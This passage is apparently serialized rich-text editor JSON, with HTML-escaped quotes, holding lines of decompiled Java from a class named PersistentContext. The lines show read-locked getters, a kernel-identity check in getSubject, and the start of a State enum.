}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;40oE-1682254540341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WgE7-1682254540340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eXWo-1682254540343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;60S3-1682254540342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U6bh-1682254540345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RauZ-1682254540344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4iMg-1682254540347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rmKv-1682254540346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    @NotNull&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MxFA-1682254540349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r8ex-1682254540348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public String getSubjectAsString() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zDIO-1682254540351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sxGV-1682254540350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6DJV-1682254540353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Me6v-1682254540352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BzHk-1682254540355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rrTh-1682254540354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bbka-1682254540357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qbi5-1682254540356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this._subject.toString();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RVRV-1682254540359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;un6b-1682254540358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PsUc-1682254540361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R2Vr-1682254540360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0FJf-1682254540363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4f1y-1682254540362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nKv4-1682254540365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2aGQ-1682254540364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zQer-1682254540367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uRP4-1682254540366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RVqb-1682254540369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VDu1-1682254540368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6dsf-1682254540371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B0Aq-1682254540370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sGTr-1682254540373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EovK-1682254540372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    AuthenticatedSubject getSubject(AuthenticatedSubject var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pjuv-1682254540375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vyRk-1682254540374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (!SecurityServiceManager.isKernelIdentity(var1)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O5ix-1682254540377&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;shSm-1682254540376&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new SecurityException(\&#34;Unauthorized access to PersistentContext.getSubject()\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0BqI-1682254540379&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ClmL-1682254540378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fzU1-1682254540381&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rgTn-1682254540380&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            AuthenticatedSubject var2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yzU8-1682254540383&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o8ml-1682254540382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YcIK-1682254540385&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Idzh-1682254540384&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bL8U-1682254540387&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TRPr-1682254540386&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                var2 = this._subject;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p2in-1682254540389&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qw3v-1682254540388&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZerK-1682254540391&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sBXS-1682254540390&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TvNV-1682254540393&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;chhK-1682254540392&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eji9-1682254540395&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wlUn-1682254540394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K4s9-1682254540397&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ePqM-1682254540396&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return var2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NK7i-1682254540399&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9V77-1682254540398&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tRVJ-1682254540401&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4VgK-1682254540400&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jxZs-1682254540403&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hJN6-1682254540402&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zrx1-1682254540405&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TBjA-1682254540404&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public String getMessageId() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yNFN-1682254540407&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ePyj-1682254540406&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LGje-1682254540409&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Gf7-1682254540408&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BVTj-1682254540411&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zTtV-1682254540410&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZmG4-1682254540413&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JB2m-1682254540412&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = (String)this.getObjectId();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qnhC-1682254540415&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;naha-1682254540414&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p16F-1682254540417&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5bB-1682254540416&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nZyC-1682254540419&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tVcw-1682254540418&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WDsu-1682254540421&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PfwK-1682254540420&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t9ez-1682254540423&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xe6q-1682254540422&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6H6E-1682254540425&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rOq8-1682254540424&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AFW0-1682254540427&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SP9I-1682254540426&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9w6X-1682254540429&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mrDr-1682254540428&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public boolean hasExplicitExpiration() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2pJz-1682254540431&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8id9-1682254540430&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9mXk-1682254540433&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vnaq-1682254540432&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MQ6H-1682254540435&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;thwu-1682254540434&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        boolean var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i2az-1682254540437&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IkCN-1682254540436&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Eqsw-1682254540439&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ckRZ-1682254540438&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this._state == PersistentContext.State.IN_USE;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gPWV-1682254540442&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QhyG-1682254540440&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tNmg-1682254540444&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zsUF-1682254540443&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RWMY-1682254540446&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YkOi-1682254540445&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Mpb1-1682254540448&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t3Y5-1682254540447&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PDLT-1682254540450&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bo2N-1682254540449&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;40tB-1682254540452&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wvzk-1682254540451&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ynbs-1682254540454&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YvVA-1682254540453&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y26F-1682254540456&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SSPW-1682254540455&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public boolean isExpired() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4aDQ-1682254540458&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R4Va-1682254540457&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hkxY-1682254540460&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TLhN-1682254540459&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Rgw-1682254540462&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wyh5-1682254540461&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        boolean var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n4qW-1682254540464&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fhNb-1682254540463&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NXrq-1682254540466&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2ksa-1682254540465&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1 = this._state != PersistentContext.State.IN_USE;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f7BZ-1682254540468&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3gNU-1682254540467&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c2fu-1682254540470&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Gpv-1682254540469&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;82r7-1682254540472&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G1JP-1682254540471&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fBz8-1682254540474&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;95zW-1682254540473&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SE6r-1682254540476&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L71Q-1682254540475&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;THKu-1682254540478&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f7jl-1682254540477&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qopn-1682254540480&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q93b-1682254540479&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9uQG-1682254540482&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;axHC-1682254540481&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static enum State {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SMON-1682254540484&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2zQq-1682254540483&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        UNUSED,&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hOnH-1682254540486&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7fsj-1682254540485&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        